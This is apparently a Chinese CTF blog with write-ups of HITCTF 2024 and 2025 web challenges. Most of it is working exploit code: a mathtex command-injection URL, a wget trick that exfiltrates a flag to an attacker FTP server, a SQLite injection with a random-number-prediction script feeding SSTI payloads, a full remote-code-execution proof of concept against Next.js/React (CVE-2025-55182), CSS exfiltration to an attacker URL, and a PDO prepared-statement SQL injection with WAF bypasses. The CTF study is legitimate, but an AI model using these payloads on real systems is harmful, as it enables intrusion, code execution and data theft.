2024
mathex
cve-2023-51887
Fuzzing mathtex - Yulun/blog
mathex<=1.05时表达式以\which{;}格式传入可以绕过过滤实现命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
if (getdirective(expression, "\\which", 1, 0, 1, argstring) != NULL) {
int ispermitted = 1;
int nlocate = 1;
char *path = NULL;
char whichmsg[512];
trimwhite(argstring);
if (isempty(argstring))
ispermitted = 0; /* arg is an empty string */
else { /* have non-empty argstring */
int arglen = strlen(argstring); /* #chars in argstring */
if (strcspn(argstring, WHITESPACE) < arglen /* embedded whitespace */
|| strcspn(argstring, "{}[]()<>") < arglen /* illegal char */
|| strcspn(argstring, "|/\"\'\\") < arglen /* illegal char */
|| strcspn(argstring, "`!@%&*+=^") < arglen /* illegal char */
)
ispermitted = 0;
}
if (ispermitted) {
path = whichpath(argstring, &nlocate); // <- popen("which {argstring}")
sprintf(whichmsg,
"%s(%s) = %s", (path == NULL || nlocate < 1 ? "which" : "locate"),
argstring, (path != NULL ? path : "not found"));
}
// ...
}
|
没有源代码就简单搭了一个环境(也是老古董了还在用cgi)
1
|
/cgi-bin/mathtex.cgi?\which{;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;ls}
|

wget
又是一个cve:cve-2024-10524
先看看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
from flask import Flask, request, render_template, jsonify
import subprocess
import os
import base64
app = Flask(__name__)
FLAG = os.getenv("FLAG", "flag{}")
flag_base64 = base64.urlsafe_b64encode(FLAG.encode()).decode()
print(f"FLAG: {flag_base64}")
@app.route("/")
def index():
with open(__file__, "r") as file:
source_code = file.read()
return source_code
@app.route("/execute", methods=["POST"])
def execute():
auth = request.form.get("auth")
if not auth:
return jsonify({"error": "auth is required"}), 401
if any(char in "`!@#$%&*()-=+;.[]{}<>\\|;'\"?/" for char in auth):
return jsonify({"error": "Hacker!"}), 400
try:
command = ["wget", f"{auth}@127.0.0.1:5000/{flag_base64}"]
subprocess.run(command, check=True)
return jsonify({"message": "Command executed successfully"})
except Exception as e:
return jsonify({"error": "Command failed"}), 500
if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)
|
找到一篇文章CVE-2024-10524 Wget Zero Day Vulnerability
主要是利用wget的解析差,如果尝试wget aaa:bbb@ccc,wget会自动将其解释为ftp://aaa/bbb@ccc(其中bbb@ccc会被识别为一个目录名),那么我们就可以利用ftp的匿名登录来进行外带。
我这里没有用常见的ftp,而是使用了python的一个库来模拟ftp。
因为bbb@ccc会被识别为目录,所以我们要提前创建一个aaaaaa@127.0.0.1:5000目录,在服务器上我们还需要开启对应的端口(我这里用的默认21)和ftp被动模式的端口。
做完这些我们就可以启动ftp服务了
1
|
python -m pyftpdlib -p 21 -D
|
发送payload
1
2
|
POST /execute
auth=[数字ip]:aaaaaa //这里过滤了点,我们使用数字ip
|

静静等待连接即可

参考文章:
HITCTF2024 Writeup - Turker’s
HITCTF2024 wget wp-先知社区
2025
logServer
先看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
from flask import Flask, request, jsonify, render_template_string
import sqlite3
import random
def gen_secret():
secret_int = random.getrandbits(96)
secret_bits = secret_int.to_bytes((secret_int.bit_length() + 7) // 8, byteorder='big')
return secret_bits.hex()
app = Flask(__name__)
conn = sqlite3.connect("database.db", isolation_level=None, check_same_thread=False)
conn.execute("""
CREATE TABLE IF NOT EXISTS logs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
message TEXT NOT NULL
)
""")
conn.execute("""
CREATE TABLE IF NOT EXISTS secret (
secret TEXT NOT NULL
)
""")
conn.execute(f"INSERT INTO secret VALUES ('{gen_secret()}')")
@app.route("/")
def health_check():
return jsonify({"status": "ok"}), 200
@app.route("/log", methods=["POST"])
def log_message():
data = request.get_json()
message = data.get("message")
if not message:
return jsonify({"success": False, "error": "Message is required"}), 400
try:
conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")
return jsonify({"success": True}), 200
except Exception as e:
return jsonify({"success": False, "error": str(e)}), 500
@app.route("/backdoor", methods=["POST"])
def backdoor():
data = request.get_json()
secret = data.get("secret")
code = data.get("code")
if not secret or not code:
return jsonify(
{"success": False, "error": "Secret and code are required"}
), 400
stored_secret = conn.execute("SELECT secret FROM secret").fetchone()[0]
if secret != stored_secret:
return jsonify({"success": False, "error": "Invalid secret"}), 403
res = render_template_string(code)
return jsonify({"success": True, "result": res}), 200
@app.after_request
def update_secret(response):
new_secret = gen_secret()
conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
print(f"New secret generated: {new_secret}")
return response
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
|
0x01 sqlite注入
/log存在明显的sql注入
1
|
conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")
|
不过它使用的是INSERT ,没法直接用联合查询,拷打的gemini告诉我可以使用报错注入来泄露secret
1
|
' || json_extract('{"a":1}', (SELECT secret FROM secret)) || '
|

1
|
' || fts3_tokenizer((SELECT secret FROM secret)) || ' -- 也可以
|

0x02 伪随机预测
/backdoor很明显的无过滤ssti,前提是secret验证通过。本题最大的难点来了
1
2
3
4
5
6
|
@app.after_request
def update_secret(response):
new_secret = gen_secret()
conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
print(f"New secret generated: {new_secret}")
return response
|
每次请求都会更新secret,刚开始想打条件竞争来着,但未成功,于是想到了伪随机,收集足够的随机数样本来预测secret。
综上本题的总体思路为:利用sqlIte注入泄露secret=>重复收集泄露的secret=>预测secret=>ssti
你可以使用python的库来预测,我这里没用
exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
import requests
import re
from z3 import *
N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff
def untemper(y_val):
y = BitVec('y', 32)
y1 = y ^ LShR(y, 11)
y2 = y1 ^ ((y1 << 7) & 0x9d2c5680)
y3 = y2 ^ ((y2 << 15) & 0xefc60000)
y4 = y3 ^ LShR(y3, 18)
s = Solver()
s.add(y4 == y_val)
if s.check() == sat:
return s.model()[y].as_long()
return 0
def temper(y):
y ^= (y >> 11)
y ^= ((y << 7) & 0x9d2c5680)
y ^= ((y << 15) & 0xefc60000)
y ^= (y >> 18)
return y
def twist(state):
for i in range(N):
y = (state[i] & UPPER_MASK) | (state[(i + 1) % N] & LOWER_MASK)
state[i] = state[(i + M) % N] ^ (y >> 1) ^ ((y & 1) * MATRIX_A)
return state
URL = "http://xxx/log"
BACKDOOR_URL = "http://xxx/backdoor"
def get_secret():
payload = "' || json_extract('{\"a\":1}', (SELECT secret FROM secret)) || '"
try:
r = requests.post(URL, json={"message": payload})
if "JSON path error near" in r.text:
match = re.search(r"JSON path error near '([0-9a-f]+)'", r.text)
if match:
return match.group(1)
except:
return None
return None
def main():
secrets = []
for i in range(210):
s_hex = get_secret()
if not s_hex:
return
s_int = int(s_hex, 16)
a = s_int & 0xFFFFFFFF
b = (s_int >> 32) & 0xFFFFFFFF
c = (s_int >> 64) & 0xFFFFFFFF
secrets.append(a)
secrets.append(b)
secrets.append(c)
state = [untemper(y) for y in secrets[:624]]
next_state = twist(state)
payloads = [
"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la /').read() }}",
"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}",
"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read() }}"
]
current_idx = 6
for code in payloads:
next_words = []
for k in range(3):
y = next_state[current_idx + k]
y = temper(y)
next_words.append(y)
a, b, c = next_words
next_secret_int = a | (b << 32) | (c << 64)
next_secret_hex = next_secret_int.to_bytes(12, 'big').hex()
r = requests.post(BACKDOOR_URL, json={"secret": next_secret_hex, "code": code})
print(f"Secret: {next_secret_hex}")
print(f"Status: {r.status_code}")
print(f"Response: {r.text}")
current_idx += 3
if current_idx + 3 >= N:
next_state = twist(next_state)
current_idx = 0
if __name__ == "__main__":
main()
|
Freestyle
本来是个xss题目,结果被无条件rce的cve非预期了
0x01 源码分析
跟上题差不多的逻辑,token通过验证后就会给flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
// /app/api/flag/route.ts
import { type NextRequest, NextResponse } from "next/server";
import { validateToken } from "@/lib/token-store";
export async function GET(request: NextRequest) {
const searchParams = request.nextUrl.searchParams;
const token = searchParams.get("token");
if (!token) {
return NextResponse.json({ error: "Missing token" }, { status: 400 });
}
if (validateToken(token)) {
return NextResponse.json({
flag: "flag{redacted_flag}",
});
} else {
return NextResponse.json({ error: "Invalid token" }, { status: 403 });
}
}
|
而token的生成来自以下文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
// /lib/token-store.ts
declare global {
var CTF_CHALLENGE_TOKEN: string | undefined;
var CTF_CHALLENGE_LOCKED: boolean | undefined;
}
export function generateToken(): string {
const token = Math.floor(Math.random() * 100).toString().padStart(2, '0');
globalThis.CTF_CHALLENGE_TOKEN = token;
globalThis.CTF_CHALLENGE_LOCKED = false;
console.log(`[CTF] New token generated: ${token}`);
return token;
}
export function getToken(): string {
if (!globalThis.CTF_CHALLENGE_TOKEN) {
return generateToken();
}
return globalThis.CTF_CHALLENGE_TOKEN;
}
export function validateToken(inputToken: string): boolean {
if (globalThis.CTF_CHALLENGE_LOCKED) {
return false;
}
const currentToken = getToken();
if (inputToken === currentToken) {
return true;
}
// Lock on failure
globalThis.CTF_CHALLENGE_LOCKED = true;
console.log(`[CTF] Challenge LOCKED due to invalid token attempt.`);
return false;
}
|
每次开启靶机生成一个两位数的token,并且输入一次错误就会永久锁定。
对于CardGenerator.tsx,重点关注一下几行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<div
data-token={serverToken}
className="w-full max-w-md aspect-[1.586/1] rounded-xl shadow-2xl overflow-hidden relative transition-all duration-300"
style={previewStyle}
>
const previewStyle = {
background: bgImage,
}
const [bgImage, setBgImage] = useState(
searchParams.get("bg-image") ||
"linear-gradient(var(--gradient-angle),var(--gradient-from),var(--gradient-to))",
);
|
bg-image参数是可控的,但只能进行css注入来泄露data-token。
0x02 非预期
最近react爆出来一个无条件rce的cve。

而这题的版本正好符合该cve的条件。

我这里使用内存马版本的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "ip"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "ls"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
|

GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182
rce就可以干任何事情了,flag就在代码里不过需要找到编译后的文件。
1
|
grep -RIl "flag{" /app/
|

还有一种优雅的方式,直接修改data-token,因为data-token是存在全局变量里面的,我们可以利用原型链访问到全局变量。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
POST / HTTP/1.1
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----React2ShellBoundaryCTF
------React2ShellBoundaryCTF
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"globalThis.CTF_CHALLENGE_TOKEN='42';globalThis.CTF_CHALLENGE_LOCKED=false;","_formData":{"get":"$1:constructor:constructor"}}}
------React2ShellBoundaryCTF
Content-Disposition: form-data; name="1"
"$@0"
------React2ShellBoundaryCTF--
|
参考:https://lunaticquasimodo.top/blog/hitctf-2025-web-freestyle-writeup
0x03 预期
https://portswigger.net/research/inline-style-exfiltration
poc:
1
2
3
4
5
|
<div style='
--val: attr(data-username);
--steal: if(style(--val:"alice"): url(http://127.0.0.1:8888));
background: image-set(var(--steal));
' data-username="alice">Test</div>
|

payload:
1
2
3
|
bg-image=image-set(var(--steal))
&val=attr(data-token)
&steal=if(style(--val:"07"):url(http://ip/leak/07);else:url(http://ip/leak/no))
|
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import urllib.parse
import urllib.request
base = "http://ip/leak/"
target = "http://ip"
expr = f'url({base}no)'
for i in reversed(range(100)):
t = f"{i:02d}"
expr = f'if(style(--val:"{t}"):url({base}{t});else:{expr})'
payload = "/api/bot?bg-image=image-set(var(--steal))&val=attr(data-token)&steal=" + urllib.parse.quote(expr, safe="")
# print(payload)
url = target.rstrip("/") + payload
urllib.request.urlopen(url, timeout=5)
|

Impossible SQL
这题差点给我绕晕了
0x01 源码分析
先看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
//index.php
<?php
error_reporting(0);
require_once 'init.php';
function safe_str($str) {
if (preg_match('/[ \t\r\n]/', $str) || preg_match('/\/\*|#|--[ \t\r\n]/', $str)) {
return false;
}
return true;
}
if (!isset($_GET['info']) || !isset($_GET['key'])) {
HIGHLIGHT_FILE(__FILE__);
die('');
}
$info = str_replace('`', '``', base64_decode($_GET['info']));
$key = base64_decode($_GET['key']);
if (!safe_str($info) || !safe_str($key)) {
die('Invalid input');
}
$sql = "SELECT `$info` FROM users WHERE username = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$key]);
print_r($stmt->fetchAll());
?>
//init.php
//远程还有关键字waf我本地没有加上
<?php
// 数据库配置
$host = '127.0.0.1';
$dbname = 'test';
$user = 'root';
$pass = 'root';
// 创建 PDO 连接
$dsn = "mysql:host=$host;dbname=$dbname;charset=utf8";
$pdo = new PDO($dsn, $user, $pass);
?>
|
base64_decode说明传入的参数是 Base64 编码过的
str_replace(’`’, ‘``’, …)
- 将反引号 ```转成
,转义无影响
- 防止利用反引号逃逸字段名(SQL 注入的一种)
safe_str过滤
-
空格、Tab、换行:[ \t\r\n]
-
SQL 注释:
过滤+预处理看起来无懈可击了
0x02 关键字WAF绕过
远程存在WAF(本地没加),拦截SELECT、UNION等关键字。利用php对base64的容错来绕过:在Base64字符串中插入空格,PHP的base64_decode()会自动忽略。
1
2
|
def split_b64(s):
return " ".join(s) # "dXNlcm5hbWU=" → "d X N l c m 5 h b W U ="
|
0x03 PDO绕过
参考这篇文章Novel SQL Injection Technique in PDO Prepared Statements
利用 PDO 的内部解析逻辑来实现注入,如果你向 info 参数传入一些特殊的字节(比如 ? + null 字节),PDO 的解析器错误 把这个 ? 当作一个新的 bind 参数,此时原本只有一个绑定参数,但 PDO 却认为存在多个,最终可以让你注入 SQL 代码片段。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
int pdo_mysql_scanner(pdo_scanner_t *s)
{
const char *cursor = s->cur;
s->tok = cursor;
/*!re2c
BINDCHR = [:][a-zA-Z0-9_]+;
QUESTION = [?];
COMMENTS = ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
SPECIALS = [:?"'`/#-];
MULTICHAR = ([:]{2,}|[?]{2,});
ANYNOEOF = [\001-\377];
*/
/*!re2c
(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
([`]([`][`]|ANYNOEOF\[`])*[`]) { RET(PDO_PARSER_TEXT); }
MULTICHAR { RET(PDO_PARSER_TEXT); }
BINDCHR { RET(PDO_PARSER_BIND); }
QUESTION { RET(PDO_PARSER_BIND_POS); }
SPECIALS { SKIP_ONE(PDO_PARSER_TEXT); }
COMMENTS { RET(PDO_PARSER_TEXT); }
(ANYNOEOF\SPECIALS)+ { RET(PDO_PARSER_TEXT); }
*/
}
|
反引号里可以被接受的内容包括了 \001-\377 ,但是偏偏少了一个 \0 。也就是说如果我们传入 ?\0 会导致PDO 试图把 ?\0 当作一个完整的反引号标识符,读到 \0 时 fallback 到 SPECIALS 分支,反引号被当做一个普通符号跳过了,这导致紧接着的 ? 暴露出来,被 PDO 当做一个占位符。
另外waf禁止了[ \t\r\n] ,在MySQL会将 \x0b 识别为空白符, \x0b(垂直制表符VT)可以绕过过滤
1
2
3
4
|
53 45 4C 45 43 54 -> SELECT
0B -> \x0b
31 2B 31 -> 1+1
3B -> ;
|

waf还禁止了文章中使用的#号
#不能使用,使用--\x0b替代,过滤只过滤--[ \t\r\n]的形式,而没有过滤–本身没被过滤,--\x0b绕过过滤的同时最后会被解析成--[空格],达到注释的目的。
0x04 构造payload
payload结构:
1
2
3
4
5
6
7
8
|
info = b'\\?--\x0b\x00' #多加一个\是为了制造合法列名进行逃逸
key = b"x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b"
# b"x`FROM\x0b("
# b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
# b"FROM\x0binformation_schema.tables\x0b"
# b"WHERE\x0btable_schema=database()"
# b")y;--\x0b"
|
执行流程分析:
1.PDO prepare:
1
|
SELECT `\?--\x0b\x00` FROM users WHERE username = ?
|
2.PDO替换:
?的位置被替换为key的值
1
|
SELECT `x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b'--\x0b\x00` FROM users WHERE username = ?
|
3.PDO预编译:
1
|
SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;-- '-- ` FROM users WHERE username = ?
|
key整体被自动加上单引号和反斜杠转义
4.忽略注释后面:
1
|
SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;
|
MySQL 的 反引号(`) 用来包 标识符(列名、别名、表名),在反引号中:
-
' 单引号是普通字符
-
\ 也是普通字符(不是转义)
外层查询:从子查询结果中取名为 \'x 的那一列
1
|
SELECT `\'x` FROM ( ... ) y;
|
子查询:从当前数据库取所有表名,把 table_name 起别名为 \'x
1
|
SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema = database()
|
其他payload同理。
0x05 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
import base64
import requests
url = "http://ip"
def split_b64(s):
"""Split base64 to bypass WAF"""
return " ".join(s)
def exploit(key_payload):
info = b'\\?--\x0b\x00'
info_b64 = (base64.b64encode(info).decode())
key_b64 = (base64.b64encode(key_payload).decode())
r = requests.get(url, params={'info': info_b64, 'key': key_b64}, timeout=10)
print(r.text)
if r.text.strip():
print(r.text)
return r
vt = b'\x0b'
exploit(b'1`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(table_name)' + vt +
b'AS' + vt + b"`'1`" + vt + b'FROM' + vt + b'information_schema.tables' + vt +
b'WHERE' + vt + b'table_schema=database())y;--' + vt)
#使用hex就不用加引号了(引号被过滤)
table_hex = b'0x666c6167'
exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(column_name)' + vt +
b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'information_schema.columns' + vt +
b'WHERE' + vt + b'table_name=' + table_hex + b')y;--' + vt)
exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'flag' + vt + b'AS' + vt +
b"`'x`" + vt + b'FROM' + vt + b'flag' + vt +
b'LIMIT' + vt + b'1)y;--' + vt)
|

ezLoader
java学会了再来复现
参考链接:
https://gyrojibering.github.io/ctf/2025/12/07/hitctf-2025-writeup/
https://www.turker.cn/archives/hitctf-2025-writeup
Novel SQL Injection Technique in PDO Prepared Statements
https://lunaticquasimodo.top/blog